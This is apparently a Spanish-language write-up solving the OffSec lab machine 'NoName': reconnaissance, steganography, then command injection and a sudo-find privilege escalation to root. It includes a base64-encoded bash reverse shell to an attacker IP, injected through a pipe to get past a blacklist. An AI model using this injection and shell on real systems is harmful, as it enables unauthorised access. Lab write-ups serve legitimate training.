OffSec NoName

Hoy vamos a resolver la maquina NoName de OffSec.

Primeor que nada un escaneo para ver puertos abiertos dentro de la maquina.

# Nmap 7.94SVN scan initiated Thu Jan 11 18:00:26 2024 as: nmap -sCV -p80 -oN taregt.txt 192.168.170.15
Nmap scan report for 192.168.170.15
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 11 18:00:35 2024 -- 1 IP address (1 host up) scanned in 9.54 seconds

Ahora siguiendo con Nmap vamos a ver las versiones y servico que corren para este unico puerto abierto.

Ahora haciendo uso de Wfuzz encontramos un directorio en la pagina web llamado admin.

Si nos vamos a lo que habiamos encontrado nos damos de tope con estas imagenes que estan en la web, vamos inspeccionar el codigo fuente haber si encontramos algo.

En el codigo fuente tenemos esta pequeña pista, que igualmente tenemos tres imagenes a las cuales haremos estenografia haber que sale.

Si nos descargamos a haclabs y hacemos uso de steghide encontramos algo.

Un contenido que estaba en base64 ahora lo pasamos a texto normal y nos estan dando un nuevo directorio dentro de la web.

Si nos vamos al directorio superadmin.php, y su hacemos un | whoami, nos dice que somos www-data, pero estube probando ls -l pwd y otros y solo funciona este. Seguro por detras haya una lista negra de inputs no permitidos.

Si le hacemos un cat ah superadmin.php.

Nos damos con esto una lista negra donde estan contemplados que no se permite como input.

Entonces como ganamos acceso si nuestras herramientas estan en una lista negra, pues facil vamos pasar los tipicos comandos que ponemos para ganar acceso a una maquina en bas64 haciendo uso de echo.

127.0.0.1|echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE1Ny80NDMgMD4mMQo='|base64 -d |bash

De esta forma introduce tu cadena codificada en el input.

Observamos que ganamos acceso como www-data.

Buscando nos dejan una pista por aca donde dice que la contraseña esta escondida en un archivo.

Entonces si buscamos desde la raiz todo tipo de archivos para el usuario yash, nos contramos varios, pero el importante es el .passwd donde se almacena una contraseña.

Hacemos uso de la contraseña y si hacemos un whoami somos haclabs.

Y buscando permisos si hacemos un sudo -l observamos que este usuario puede ejecutar como root el comando find. Si te vas a gtfobins.io seguro que encuentras algo del como usarlo para escalar privilegios.

Encontramos la forma de usarlo para escalar privilegios, nos convertimos en root y bueno maquina resuelta.